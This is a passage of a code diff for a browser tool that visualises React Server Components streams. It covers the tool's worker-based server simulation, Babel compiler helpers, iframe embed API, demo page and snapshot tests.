+ 39 + const handleStep = useCallback(() => { 40 + timeline.stepForward(); 41 + }, [timeline]); 42 + 43 + const handleSkip = useCallback(() => { 44 + timeline.skipToEntryEnd(); 45 + }, [timeline]); 46 + 47 + const handleAddRawAction = useCallback(async (actionName, rawPayload) => { 48 + try { 49 + const responseRaw = await serverWorker.callActionRaw(actionName, rawPayload); 50 + const stream = new SteppableStream(responseRaw, { callServer: callServerRef.current }); 51 + await stream.waitForBuffer(); 52 + timeline.addAction(actionName, rawPayload, stream); 53 + } catch (err) { 54 + console.error('[raw action] Failed:', err); 55 + } 56 + }, [serverWorker, timeline, callServerRef]); 57 + 58 + const compile = useCallback(async (sCode, cCode) => { 59 + try { 60 + setError(null); 61 + timeline.clear(); 62 + 63 + const clientExports = parseClientModule(cCode); 64 + const manifest = buildManifest('client', clientExports); 65 + const compiledClient = compileToCommonJS(cCode); 66 + const clientModule = evaluateClientModule(compiledClient); 67 + registerClientModule('client', clientModule); 68 + 69 + const actionNames = parseServerActions(sCode); 70 + const compiledServer = compileToCommonJS(sCode); 71 + setAvailableActions(actionNames); 72 + 73 + await serverWorker.deploy({ 74 + compiledCode: compiledServer, 75 + manifest, 76 + actionNames, 77 + }); 78 + 79 + const callServer = actionNames.length > 0 80 + ? async (actionId, args) => { 81 + const actionName = actionId.split('#')[0]; 82 + const encodedArgs = await encodeReply(args); 83 + const argsDisplay = typeof encodedArgs === 'string' 84 + ? `0=${encodedArgs}` 85 + : new URLSearchParams(encodedArgs).toString(); 86 + 87 + const responseRaw = await serverWorker.callAction(actionName, encodedArgs); 88 + const stream = new SteppableStream(responseRaw, { callServer }); 89 + await stream.waitForBuffer(); 90 + timeline.addAction(actionName, argsDisplay, stream); 91 + return stream.flightPromise; 92 + } 93 + : null; 94 + 95 + callServerRef.current = callServer; 96 + 97 + const renderRaw = await serverWorker.render(); 98 + const renderStream = new SteppableStream(renderRaw, { callServer }); 99 + await renderStream.waitForBuffer(); 100 + 101 + timeline.setRender(renderStream); 102 + setClientModuleReady(true); 103 + } catch (err) { 104 + console.error('[compile] Error:', err); 105 + setError(err.message || String(err)); 106 + timeline.clear(); 107 + setClientModuleReady(false); 108 + } 109 + }, [timeline, serverWorker, callServerRef]); 110 + 111 + const handleReset = useCallback(() => { 112 + compile(serverCode, clientCode); 113 + }, [compile, serverCode, clientCode]); 114 + 115 + useEffect(() => { 116 + clearTimeout(compileTimeoutRef.current); 117 + compileTimeoutRef.current = setTimeout(() => { 118 + compile(serverCode, clientCode); 119 + }, 300); 120 + }, [serverCode, clientCode, compile]); 121 + 122 + useEffect(() => { 123 + return () => serverWorker.terminate(); 124 + }, [serverWorker]); 125 + 126 + return ( 127 + <main> 128 + <CodeEditor label="server" defaultValue={serverCode} onChange={handleServerChange} /> 129 + <div className="pane"> 130 + <div className="pane-header">flight</div> 131 + <FlightLog 132 + timeline={timeline} 133 + entries={entries} 134 + cursor={cursor} 135 + error={error} 136 + availableActions={availableActions} 137 + onAddRawAction={handleAddRawAction} 138 + onDeleteEntry={(idx) => timeline.deleteEntry(idx)} 139 + /> 140 + </div> 141 + <CodeEditor label="client" defaultValue={clientCode} onChange={handleClientChange} /> 142 + <LivePreview 143 + timeline={timeline} 144 + clientModuleReady={clientModuleReady} 145 + totalChunks={totalChunks} 146 + cursor={cursor} 147 + isAtStart={isAtStart} 148 + isAtEnd={isAtEnd} 149 + onStep={handleStep} 150 + onSkip={handleSkip} 151 + onReset={handleReset} 152 + /> 153 + </main> 154 + ); 155 + }
+47
src/client/webpack-shim.js
··· 1 + const moduleCache = {}; 2 + const moduleFactories = {}; 3 + 4 + window.__webpack_module_cache__ = moduleCache; 5 + window.__webpack_modules__ = moduleFactories; 6 + 7 + window.__webpack_require__ = function(moduleId) { 8 + if (moduleCache[moduleId]) { 9 + return moduleCache[moduleId].exports || moduleCache[moduleId]; 10 + } 11 + if (moduleFactories[moduleId]) { 12 + const module = { exports: {} }; 13 + moduleFactories[moduleId](module); 14 + moduleCache[moduleId] = module; 15 + return module.exports; 16 + } 17 + throw new Error(`Module ${moduleId} not found in webpack shim`); 18 + }; 19 + 20 + window.__webpack_require__.m = moduleFactories; 21 + window.__webpack_require__.c = moduleCache; 22 + window.__webpack_require__.d = function(exports, definition) { 23 + for (const key in definition) { 24 + if (Object.prototype.hasOwnProperty.call(definition, key) && !Object.prototype.hasOwnProperty.call(exports, key)) { 25 + Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); 26 + } 27 + } 28 + }; 29 + window.__webpack_require__.r = function(exports) { 30 + if (typeof Symbol !== 'undefined' && Symbol.toStringTag) { 31 + Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); 32 + } 33 + Object.defineProperty(exports, '__esModule', { value: true }); 34 + }; 35 + window.__webpack_require__.o = function(obj, prop) { 36 + return Object.prototype.hasOwnProperty.call(obj, prop); 37 + }; 38 + 39 + window.__webpack_chunk_load__ = function(chunkId) { 40 + return Promise.resolve(); 41 + }; 42 + 43 + window.__webpack_require__.e = function(chunkId) { 44 + return Promise.resolve(); 45 + }; 46 + 47 + window.__webpack_require__.p = '/';
+85
src/embed.js
··· 1 + /** 2 + * RSC Explorer Embed API 3 + * 4 + * Usage: 5 + * ```html 6 + * <div id="demo" style="height: 500px;"></div> 7 + * <script type="module"> 8 + * import { mount } from 'https://rscexplorer.dev/embed.js'; 9 + * 10 + * mount('#demo', { 11 + * server: ` 12 + * export default function App() { 13 + * return <h1>Hello RSC</h1>; 14 + * } 15 + * `, 16 + * client: ` 17 + * 'use client' 18 + * export function Button() { 19 + * return <button>Click</button>; 20 + * } 21 + * ` 22 + * }); 23 + * </script> 24 + * ``` 25 + */ 26 + 27 + // Get the embed URL relative to this script's location 28 + const getEmbedUrl = () => { 29 + return new URL('embed.html', import.meta.url).href; 30 + }; 31 + 32 + /** 33 + * Mount an RSC Explorer embed into a container element 34 + * @param {string|HTMLElement} container - CSS selector or DOM element 35 + * @param {Object} options - Configuration options 36 + * @param {string} options.server - Server component code 37 + * @param {string} options.client - Client component code 38 + * @returns {Object} - Control object with methods to interact with the embed 39 + */ 40 + export function mount(container, { server, client }) { 41 + const el = 42 + typeof container === "string" 43 + ? document.querySelector(container) 44 + : container; 45 + 46 + if (!el) { 47 + throw new Error(`RSC Explorer: Container not found: ${container}`); 48 + } 49 + 50 + // Create iframe 51 + const iframe = document.createElement("iframe"); 52 + iframe.src = getEmbedUrl(); 53 + iframe.style.cssText = 54 + "width: 100%; height: 100%; border: 1px solid #e0e0e0; border-radius: 8px;"; 55 + 56 + // Wait for iframe to be ready, then send code 57 + const handleMessage = (event) => { 58 + if (event.source !== iframe.contentWindow) return; 59 + 60 + if (event.data?.type === "rsc-embed:ready") { 61 + iframe.contentWindow.postMessage( 62 + { 63 + type: "rsc-embed:init", 64 + code: { server: server.trim(), client: client.trim() }, 65 + }, 66 + "*", 67 + ); 68 + } 69 + }; 70 + 71 + window.addEventListener("message", handleMessage); 72 + 73 + // Clear container and add iframe 74 + el.innerHTML = ""; 75 + el.appendChild(iframe); 76 + 77 + // Return control object 78 + return { 79 + iframe, 80 + destroy: () => { 81 + window.removeEventListener("message", handleMessage); 82 + el.innerHTML = ""; 83 + }, 84 + }; 85 + }
+40
src/server/webpack-shim.js
··· 1 + // Shim webpack globals for react-server-dom-webpack/server in worker context 2 + // Uses self instead of window since this runs in a Web Worker 3 + 4 + const moduleCache = {}; 5 + 6 + self.__webpack_require__ = function(moduleId) { 7 + if (moduleCache[moduleId]) { 8 + return moduleCache[moduleId]; 9 + } 10 + throw new Error(`Module ${moduleId} not found in webpack shim`); 11 + }; 12 + 13 + self.__webpack_require__.m = {}; 14 + self.__webpack_require__.c = moduleCache; 15 + self.__webpack_require__.d = function(exports, definition) { 16 + for (const key in definition) { 17 + if (Object.prototype.hasOwnProperty.call(definition, key) && !Object.prototype.hasOwnProperty.call(exports, key)) { 18 + Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); 19 + } 20 + } 21 + }; 22 + self.__webpack_require__.r = function(exports) { 23 + if (typeof Symbol !== 'undefined' && Symbol.toStringTag) { 24 + Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); 25 + } 26 + Object.defineProperty(exports, '__esModule', { value: true }); 27 + }; 28 + self.__webpack_require__.o = function(obj, prop) { 29 + return Object.prototype.hasOwnProperty.call(obj, prop); 30 + }; 31 + 32 + self.__webpack_chunk_load__ = function(chunkId) { 33 + return Promise.resolve(); 34 + }; 35 + 36 + self.__webpack_require__.e = function(chunkId) { 37 + return Promise.resolve(); 38 + }; 39 + 40 + self.__webpack_require__.p = '/';
+145
src/server/worker.js
··· 1 + // Server Worker - RSC server simulation 2 + // 3 + // Models a real server: deploy code once, then handle requests against it. 4 + // - `deploy`: Store compiled code, manifest, etc. (like deploying to production) 5 + // - `render`/`action`: Execute against deployed code 6 + 7 + import './webpack-shim.js'; 8 + import '../client/byte-stream-polyfill.js'; 9 + import 'text-encoding'; 10 + 11 + import { 12 + renderToReadableStream, 13 + registerServerReference, 14 + createClientModuleProxy, 15 + decodeReply, 16 + } from 'react-server-dom-webpack/server'; 17 + import React from 'react'; 18 + 19 + let deployed = null; 20 + 21 + // Safari doesn't support transferable streams 22 + async function streamToMain(stream, requestId) { 23 + const reader = stream.getReader(); 24 + try { 25 + while (true) { 26 + const { done, value } = await reader.read(); 27 + if (done) { 28 + self.postMessage({ type: 'stream-end', requestId }); 29 + break; 30 + } 31 + self.postMessage({ type: 'stream-chunk', requestId, chunk: value }); 32 + } 33 + } catch (err) { 34 + self.postMessage({ type: 'stream-error', requestId, error: { message: err.message } }); 35 + } 36 + } 37 + 38 + self.onmessage = async (event) => { 39 + const { type, requestId } = event.data; 40 + 41 + try { 42 + switch (type) { 43 + case 'deploy': 44 + handleDeploy(event.data); 45 + break; 46 + case 'render': 47 + await handleRender(event.data); 48 + break; 49 + case 'action': 50 + await handleAction(event.data); 51 + break; 52 + default: 53 + throw new Error(`Unknown message type: ${type}`); 54 + } 55 + } catch (error) { 56 + self.postMessage({ 57 + type: 'error', 58 + requestId, 59 + error: { message: error.message, stack: error.stack }, 60 + }); 61 + } 62 + }; 63 + 64 + function handleDeploy({ compiledCode, manifest, actionNames, requestId }) { 65 + const clientModule = createClientModuleProxy('client'); 66 + const modules = { 'react': React, './client': clientModule }; 67 + const serverModule = evalModule(compiledCode, modules, actionNames); 68 + 69 + deployed = { manifest, serverModule, actionNames }; 70 + 71 + self.postMessage({ type: 'deployed', requestId }); 72 + } 73 + 74 + function requireDeployed() { 75 + if (!deployed) throw new Error('No code deployed'); 76 + return deployed; 77 + } 78 + 79 + async function handleRender({ requestId }) { 80 + const { manifest, serverModule } = requireDeployed(); 81 + 82 + const App = serverModule.default || serverModule; 83 + const element = typeof App === 'function' ? React.createElement(App) : App; 84 + 85 + const flightStream = renderToReadableStream(element, manifest, { 86 + onError: (error) => error.message || String(error), 87 + }); 88 + 89 + self.postMessage({ type: 'stream-start', requestId }); 90 + streamToMain(flightStream, requestId); 91 + } 92 + 93 + async function handleAction({ actionId, encodedArgs, requestId }) { 94 + const { manifest, serverModule } = requireDeployed(); 95 + 96 + const actionFn = serverModule[actionId]; 97 + if (typeof actionFn !== 'function') { 98 + throw new Error(`Action "${actionId}" not found`); 99 + } 100 + 101 + const toDecode = reconstructEncodedArgs(encodedArgs); 102 + const args = await decodeReply(toDecode, {}); 103 + const result = await actionFn(...(Array.isArray(args) ? args : [args])); 104 + 105 + const flightStream = renderToReadableStream(result, manifest, { 106 + onError: (error) => error.message || String(error), 107 + }); 108 + 109 + self.postMessage({ type: 'stream-start', requestId }); 110 + streamToMain(flightStream, requestId); 111 + } 112 + 113 + function reconstructEncodedArgs(encodedArgs) { 114 + if (encodedArgs.type === 'formdata') { 115 + const formData = new FormData(); 116 + for (const [key, value] of new URLSearchParams(encodedArgs.data)) { 117 + formData.append(key, value); 118 + } 119 + return formData; 120 + } 121 + return encodedArgs.data; 122 + } 123 + 124 + function evalModule(code, modules, actionNames) { 125 + let finalCode = code; 126 + if (actionNames?.length > 0) { 127 + finalCode += '\n' + actionNames 128 + .map(name => `__registerServerReference(${name}, "${name}", "${name}"); exports.${name} = ${name};`) 129 + .join('\n'); 130 + } 131 + 132 + const module = { exports: {} }; 133 + const require = (id) => { 134 + if (!modules[id]) throw new Error(`Module "${id}" not found`); 135 + return modules[id]; 136 + }; 137 + 138 + new Function('module', 'exports', 'require', 'React', '__registerServerReference', finalCode)( 139 + module, module.exports, require, React, registerServerReference 140 + ); 141 + 142 + return module.exports; 143 + } 144 + 145 + self.postMessage({ type: 'ready' });
+231
src/shared/compiler.js
··· 1 + import { transform } from '@babel/standalone'; 2 + 3 + export function parseExports(code) { 4 + const exports = []; 5 + const { ast } = transform(code, { 6 + presets: ['react'], 7 + ast: true, 8 + }); 9 + 10 + for (const node of ast.program.body) { 11 + if (node.type === 'ExportNamedDeclaration') { 12 + if (node.declaration) { 13 + if (node.declaration.type === 'FunctionDeclaration') { 14 + exports.push(node.declaration.id.name); 15 + } else if (node.declaration.type === 'VariableDeclaration') { 16 + for (const decl of node.declaration.declarations) { 17 + if (decl.id.type === 'Identifier') { 18 + exports.push(decl.id.name); 19 + } 20 + } 21 + } 22 + } 23 + } else if (node.type === 'ExportDefaultDeclaration') { 24 + exports.push('default'); 25 + } 26 + } 27 + return exports; 28 + } 29 + 30 + function hasDirective(block, directive) { 31 + if (!block) return false; 32 + if (block.directives?.length > 0) { 33 + if (block.directives.some(d => d.value?.value === directive)) { 34 + return true; 35 + } 36 + } 37 + // Fallback for some parsers 38 + if (block.body) { 39 + for (const node of block.body) { 40 + if (node.type !== 'ExpressionStatement') break; 41 + if (node.directive === directive) return true; 42 + if (node.expression?.type === 'StringLiteral' && node.expression.value === directive) return true; 43 + } 44 + } 45 + return false; 46 + } 47 + 48 + function hasUseServerDirective(body) { 49 + if (!body || body.type !== 'BlockStatement') return false; 50 + return hasDirective(body, 'use server'); 51 + } 52 + 53 + export function parseServerActions(code) { 54 + const { ast } = transform(code, { 55 + presets: ['react'], 56 + ast: true, 57 + }); 58 + 59 + // 'use client' is not supported - this REPL only handles server code 60 + if (hasDirective(ast.program, 'use client')) { 61 + throw new Error( 62 + '"use client" is not supported. This environment only handles server code.' 63 + ); 64 + } 65 + 66 + const hasModuleUseServer = hasDirective(ast.program, 'use server'); 67 + 68 + const actions = []; 69 + 70 + function checkNoUseClient(body, name) { 71 + if (hasDirective(body, 'use client')) { 72 + throw new Error( 73 + `"use client" is not supported${name ? ` (found in "${name}")` : ''}. This environment only handles server code.` 74 + ); 75 + } 76 + } 77 + 78 + function collectExportedFunction(node, name) { 79 + checkNoUseClient(node.body, name); 80 + if (hasModuleUseServer) { 81 + // Module-level 'use server': all exported functions are actions 82 + actions.push(name); 83 + } else if (hasUseServerDirective(node.body)) { 84 + // Function-level 'use server' 85 + actions.push(name); 86 + } 87 + } 88 + 89 + for (const node of ast.program.body) { 90 + if (node.type === 'FunctionDeclaration' && node.id) { 91 + checkNoUseClient(node.body, node.id.name); 92 + if (!hasModuleUseServer && hasUseServerDirective(node.body)) { 93 + actions.push(node.id.name); 94 + } 95 + } 96 + else if (node.type === 'ExportNamedDeclaration' && node.declaration) { 97 + if (node.declaration.type === 'FunctionDeclaration' && node.declaration.id) { 98 + collectExportedFunction(node.declaration, node.declaration.id.name); 99 + } 100 + else if (node.declaration.type === 'VariableDeclaration') { 101 + for (const decl of node.declaration.declarations) { 102 + if (decl.id.type === 'Identifier' && decl.init) { 103 + if (decl.init.type === 'ArrowFunctionExpression' || 104 + decl.init.type === 'FunctionExpression') { 105 + collectExportedFunction(decl.init, decl.id.name); 106 + } 107 + } 108 + } 109 + } 110 + } 111 + else if (node.type === 'VariableDeclaration') { 112 + for (const decl of node.declarations) { 113 + if (decl.id.type === 'Identifier' && decl.init) { 114 + if (decl.init.type === 'ArrowFunctionExpression' || 115 + decl.init.type === 'FunctionExpression') { 116 + checkNoUseClient(decl.init.body, decl.id.name); 117 + if (!hasModuleUseServer && hasUseServerDirective(decl.init.body)) { 118 + actions.push(decl.id.name); 119 + } 120 + } 121 + } 122 + } 123 + } 124 + } 125 + 126 + return actions; 127 + } 128 + 129 + export function parseClientModule(code) { 130 + const { ast } = transform(code, { 131 + presets: ['react'], 132 + ast: true, 133 + }); 134 + 135 + // Require 'use client' at module level 136 + if (!hasDirective(ast.program, 'use client')) { 137 + throw new Error( 138 + 'Client code must start with "use client" directive.' 139 + ); 140 + } 141 + 142 + if (hasDirective(ast.program, 'use server')) { 143 + throw new Error( 144 + '"use server" is not supported in client code.' 145 + ); 146 + } 147 + 148 + function checkFunction(body, name) { 149 + if (!body || body.type !== 'BlockStatement') return; 150 + if (hasDirective(body, 'use client')) { 151 + throw new Error( 152 + `"use client" must be at module level, not inside functions${name ? ` (found in "${name}")` : ''}.` 153 + ); 154 + } 155 + if (hasDirective(body, 'use server')) { 156 + throw new Error( 157 + `"use server" is not supported in client code${name ? ` (found in "${name}")` : ''}.` 158 + ); 159 + } 160 + } 161 + 162 + const exports = []; 163 + 164 + for (const node of ast.program.body) { 165 + if (node.type === 'FunctionDeclaration' && node.id) { 166 + checkFunction(node.body, node.id.name); 167 + } 168 + else if (node.type === 'ExportNamedDeclaration') { 169 + if (node.declaration) { 170 + if (node.declaration.type === 'FunctionDeclaration') { 171 + checkFunction(node.declaration.body, node.declaration.id?.name); 172 + if (node.declaration.id) { 173 + exports.push(node.declaration.id.name); 174 + } 175 + } else if (node.declaration.type === 'VariableDeclaration') { 176 + for (const decl of node.declaration.declarations) { 177 + if (decl.init?.type === 'ArrowFunctionExpression' || 178 + decl.init?.type === 'FunctionExpression') { 179 + checkFunction(decl.init.body, decl.id?.name); 180 + } 181 + if (decl.id.type === 'Identifier') { 182 + exports.push(decl.id.name); 183 + } 184 + } 185 + } 186 + } 187 + } 188 + else if (node.type === 'ExportDefaultDeclaration') { 189 + exports.push('default'); 190 + } 191 + else if (node.type === 'VariableDeclaration') { 192 + for (const decl of node.declarations) { 193 + if (decl.init?.type === 'ArrowFunctionExpression' || 194 + decl.init?.type === 'FunctionExpression') { 195 + checkFunction(decl.init.body, decl.id?.name); 196 + } 197 + } 198 + } 199 + } 200 + 201 + return exports; 202 + } 203 + 204 + export function compileToCommonJS(code) { 205 + const { code: compiled } = transform(code, { 206 + presets: ['react'], 207 + sourceType: 'module', 208 + plugins: [ 209 + ['transform-modules-commonjs', { loose: true }] 210 + ], 211 + }); 212 + return compiled; 213 + } 214 + 215 + export function buildManifest(moduleId, exportNames) { 216 + const manifest = { 217 + [moduleId]: { 218 + id: moduleId, 219 + chunks: [], 220 + name: '*', 221 + }, 222 + }; 223 + for (const name of exportNames) { 224 + manifest[`${moduleId}#${name}`] = { 225 + id: moduleId, 226 + chunks: [], 227 + name, 228 + }; 229 + } 230 + return manifest; 231 + }
+244
test-embed.html
··· 1 + <!doctype html> 2 + <html lang="en"> 3 + <head> 4 + <meta charset="UTF-8" /> 5 + <meta name="viewport" content="width=device-width, initial-scale=1.0" /> 6 + <title>RSC Explorer Embeds</title> 7 + <style> 8 + body { 9 + font-family: system-ui, sans-serif; 10 + max-width: 900px; 11 + margin: 0 auto; 12 + padding: 20px; 13 + line-height: 1.6; 14 + } 15 + h2 { 16 + margin-top: 40px; 17 + border-bottom: 1px solid #eee; 18 + padding-bottom: 8px; 19 + } 20 + .embed-container { 21 + height: 500px; 22 + margin-bottom: 40px; 23 + } 24 + </style> 25 + </head> 26 + <body> 27 + <h1>RSC Explorer Embeds</h1> 28 + <p> 29 + Multiple embedded RSC explorers demonstrating different React Server 30 + Components patterns. 31 + </p> 32 + 33 + <h2>Hello World</h2> 34 + <p>The simplest possible server component.</p> 35 + <div id="hello" class="embed-container"></div> 36 + 37 + <h2>Counter</h2> 38 + <p>A client component with state, rendered from a server component.</p> 39 + <div id="counter" class="embed-container"></div> 40 + 41 + <h2>Async Component</h2> 42 + <p> 43 + Server components can be async and use Suspense for loading states. 44 + </p> 45 + <div id="async" class="embed-container"></div> 46 + 47 + <h2>Form Action</h2> 48 + <p>Server actions handle form submissions with useActionState.</p> 49 + <div id="form" class="embed-container"></div> 50 + </body> 51 + 52 + <script type="module"> 53 + import { mount } from "http://localhost:3333/embed.js"; 54 + 55 + mount("#hello", { 56 + server: `export default function App() { 57 + return <h1>Hello World</h1> 58 + }`, 59 + client: `'use client'`, 60 + }); 61 + 62 + mount("#counter", { 63 + server: `import { Counter } from './client' 64 + 65 + export default function App() { 66 + return ( 67 + <div> 68 + <h1>Counter</h1> 69 + <Counter initialCount={0} /> 70 + </div> 71 + ) 72 + }`, 73 + client: `'use client' 74 + 75 + import { useState } from 'react' 76 + 77 + export function Counter({ initialCount }) { 78 + const [count, setCount] = useState(initialCount) 79 + 80 + return ( 81 + <div> 82 + <p>Count: {count}</p> 83 + <div style={{ display: 'flex', gap: 8 }}> 84 + <button onClick={() => setCount(c => c - 1)}>−</button> 85 + <button onClick={() => setCount(c => c + 1)}>+</button> 86 + </div> 87 + </div> 88 + ) 89 + }`, 90 + }); 91 + 92 + mount("#async", { 93 + server: `import { Suspense } from 'react' 94 + 95 + export default function App() { 96 + return ( 97 + <div> 98 + <h1>Async Component</h1> 99 + <Suspense fallback={<p>Loading...</p>}> 100 + <SlowComponent /> 101 + </Suspense> 102 + </div> 103 + ) 104 + } 105 + 106 + async function SlowComponent() { 107 + await new Promise(r => setTimeout(r, 500)) 108 + return <p>Data loaded!</p> 109 + }`, 110 + client: `'use client'`, 111 + }); 112 + 113 + mount("#form", { 114 + server: `import { Form } from './client' 115 + 116 + export default function App() { 117 + return ( 118 + <div> 119 + <h1>Form Action</h1> 120 + <Form greetAction={greet} /> 121 + </div> 122 + ) 123 + } 124 + 125 + async function greet(prevState, formData) { 126 + 'use server' 127 + await new Promise(r => setTimeout(r, 500)) 128 + const name = formData.get('name') 129 + if (!name) return { message: null, error: 'Please enter a name' } 130 + return { message: \`Hello, \${name}!\`, error: null } 131 + }`, 132 + client: `'use client' 133 + 134 + import { useActionState } from 'react' 135 + 136 + export function Form({ greetAction }) { 137 + const [state, formAction, isPending] = useActionState(greetAction, { 138 + message: null, 139 + error: null 140 + }) 141 + 142 + return ( 143 + <form action={formAction}> 144 + <div style={{ display: 'flex', gap: 8 }}> 145 + <input 146 + name="name" 147 + placeholder="Enter your name" 148 + style={{ padding: '8px 12px', borderRadius: 4, border: '1px solid #ccc' }} 149 + /> 150 + <button disabled={isPending}> 151 + {isPending ? 'Sending...' : 'Greet'} 152 + </button> 153 + </div> 154 + {state.error && <p style={{ color: 'red', marginTop: 8 }}>{state.error}</p>} 155 + {state.message && <p style={{ color: 'green', marginTop: 8 }}>{state.message}</p>} 156 + </form> 157 + ) 158 + }`, 159 + }); 160 + </script> 161 + 162 + <div id="rsc-explorer" style="height: 500px"></div> 163 + <script type="module"> 164 + import { mount } from 'https://rscexplorer.dev/embed.js'; 165 + 166 + mount('#rsc-explorer', { 167 + server: ` 168 + import { Suspense } from 'react' 169 + import { Timer, Router } from './client' 170 + 171 + export default function App() { 172 + return ( 173 + <div> 174 + <h1>Router Refresh!!!</h1> 175 + <p style={{ marginBottom: 12, color: '#666' }}> 176 + Client state persists across server navigations 177 + </p> 178 + <Suspense fallback={<p>Loading...</p>}> 179 + <Router initial={renderPage()} refreshAction={renderPage} /> 180 + </Suspense> 181 + </div> 182 + ) 183 + } 184 + 185 + async function renderPage() { 186 + 'use server' 187 + return <ColorTimer /> 188 + } 189 + 190 + async function ColorTimer() { 191 + await new Promise(r => setTimeout(r, 300)) 192 + const hue = Math.floor(Math.random() * 360) 193 + return <Timer color={`hsl(${hue}, 70%, 85%)`} /> 194 + } 195 + `, 196 + client: ` 197 + 'use client' 198 + 199 + import { useState, useEffect, useTransition, use } from 'react' 200 + 201 + export function Timer({ color }) { 202 + const [seconds, setSeconds] = useState(0) 203 + 204 + useEffect(() => { 205 + const id = setInterval(() => setSeconds(s => s + 1), 1000) 206 + return () => clearInterval(id) 207 + }, []) 208 + 209 + return ( 210 + <div style={{ 211 + background: color, 212 + padding: 24, 213 + borderRadius: 8, 214 + textAlign: 'center' 215 + }}> 216 + <p style={{ fontFamily: 'monospace', fontSize: 32, margin: 0 }}>{seconds}s</p> 217 + </div> 218 + ) 219 + } 220 + 221 + export function Router({ initial, refreshAction }) { 222 + const [contentPromise, setContentPromise] = useState(initial) 223 + const [isPending, startTransition] = useTransition() 224 + const content = use(contentPromise) 225 + 226 + const refresh = () => { 227 + startTransition(() => { 228 + setContentPromise(refreshAction()) 229 + }) 230 + } 231 + 232 + return ( 233 + <div style={{ opacity: isPending ? 0.6 : 1, transition: 'opacity 0.2s' }}> 234 + {content} 235 + <button onClick={refresh} disabled={isPending} style={{ marginTop: 12 }}> 236 + {isPending ? 'Refreshing...' : 'Refresh'} 237 + </button> 238 + </div> 239 + ) 240 + } 241 + ` 242 + }); 243 + </script> 244 + </html>
+49
tests/async.spec.js
··· 1 + import { test, expect, beforeAll, afterAll, afterEach } from 'vitest'; 2 + import { chromium } from 'playwright'; 3 + import { createHelpers } from './helpers.js'; 4 + 5 + let browser, page, h; 6 + 7 + beforeAll(async () => { 8 + browser = await chromium.launch(); 9 + page = await browser.newPage(); 10 + h = createHelpers(page); 11 + }); 12 + 13 + afterAll(async () => { 14 + await browser.close(); 15 + }); 16 + 17 + afterEach(async () => { 18 + await h.checkNoRemainingSteps(); 19 + }); 20 + 21 + test('async sample', async () => { 22 + await h.load('async'); 23 + 24 + // First tree state - Suspense with Pending 25 + expect(await h.stepAll()).toMatchInlineSnapshot(` 26 + "<div> 27 + <h1>Async Component</h1> 28 + <Suspense fallback={ 29 + <p>Loading...</p> 30 + }> 31 + Pending 32 + </Suspense> 33 + </div>" 34 + `); 35 + expect(await h.preview()).toMatchInlineSnapshot(`"Async Component Loading..."`); 36 + 37 + // Tree changes when async data resolves 38 + expect(await h.stepAll()).toMatchInlineSnapshot(` 39 + "<div> 40 + <h1>Async Component</h1> 41 + <Suspense fallback={ 42 + <p>Loading...</p> 43 + }> 44 + <p>Data loaded!</p> 45 + </Suspense> 46 + </div>" 47 + `); 48 + expect(await h.preview()).toMatchInlineSnapshot(`"Async Component Loading..."`); 49 + });
+79
tests/bound.spec.js
··· 1 + import { test, expect, beforeAll, afterAll, afterEach } from 'vitest'; 2 + import { chromium } from 'playwright'; 3 + import { createHelpers } from './helpers.js'; 4 + 5 + let browser, page, h; 6 + 7 + beforeAll(async () => { 8 + browser = await chromium.launch(); 9 + page = await browser.newPage(); 10 + h = createHelpers(page); 11 + }); 12 + 13 + afterAll(async () => { 14 + await browser.close(); 15 + }); 16 + 17 + afterEach(async () => { 18 + await h.checkNoRemainingSteps(); 19 + }); 20 + 21 + test('bound sample - renders bound actions with different greetings', async () => { 22 + await h.load('bound'); 23 + 24 + // Step to end - should show 3 Greeter forms 25 + expect(await h.stepAll()).toMatchInlineSnapshot(` 26 + "<div> 27 + <h1>Bound Actions</h1> 28 + <p style={{ color: "#888", marginBottom: 16 }}>Same action, different bound greetings:</p> 29 + <Greeter action={[Function: bound greet]} /> 30 + <Greeter action={[Function: bound greet]} /> 31 + <Greeter action={[Function: bound greet]} /> 32 + </div>" 33 + `); 34 + expect(await h.preview()).toMatchInlineSnapshot(`"Bound Actions Same action, different bound greetings: Greet Greet Greet"`); 35 + }); 36 + 37 + test('bound sample - three concurrent actions', async () => { 38 + await h.load('bound'); 39 + 40 + // Step to end to render UI 41 + expect(await h.stepAll()).toMatchInlineSnapshot(` 42 + "<div> 43 + <h1>Bound Actions</h1> 44 + <p style={{ color: "#888", marginBottom: 16 }}>Same action, different bound greetings:</p> 45 + <Greeter action={[Function: bound greet]} /> 46 + <Greeter action={[Function: bound greet]} /> 47 + <Greeter action={[Function: bound greet]} /> 48 + </div>" 49 + `); 50 + expect(await h.preview()).toMatchInlineSnapshot(`"Bound Actions Same action, different bound greetings: Greet Greet Greet"`); 51 + 52 + // Fill all three inputs and submit all three forms 53 + const inputs = h.frame().locator('.preview-container input'); 54 + const buttons = h.frame().locator('.preview-container button'); 55 + 56 + await inputs.nth(0).fill('Alice'); 57 + await inputs.nth(1).fill('Bob'); 58 + await inputs.nth(2).fill('Charlie'); 59 + 60 + await buttons.nth(0).click(); 61 + await buttons.nth(1).click(); 62 + await buttons.nth(2).click(); 63 + 64 + // First action pending 65 + expect(await h.stepAll()).toMatchInlineSnapshot(`"Pending"`); 66 + expect(await h.preview()).toMatchInlineSnapshot(`"Bound Actions Same action, different bound greetings: Greet Greet Greet"`); 67 + 68 + // First action resolves - Hello greeting (second still pending) 69 + expect(await h.stepAll()).toMatchInlineSnapshot(`"Pending"`); 70 + expect(await h.preview()).toMatchInlineSnapshot(`"Bound Actions Same action, different bound greetings: GreetHello, Alice! Greet Greet"`); 71 + 72 + // Second action resolves - Howdy greeting (third still pending) 73 + expect(await h.stepAll()).toMatchInlineSnapshot(`"Pending"`); 74 + expect(await h.preview()).toMatchInlineSnapshot(`"Bound Actions Same action, different bound greetings: GreetHello, Alice! GreetHowdy, Bob! Greet"`); 75 + 76 + // Third action resolves - Hey greeting 77 + expect(await h.stepAll()).toMatchInlineSnapshot(`""Hey, Charlie!""`); 78 + expect(await h.preview()).toMatchInlineSnapshot(`"Bound Actions Same action, different bound greetings: GreetHello, Alice! GreetHowdy, Bob! GreetHey, Charlie!"`); 79 + });
+39
tests/clientref.spec.js
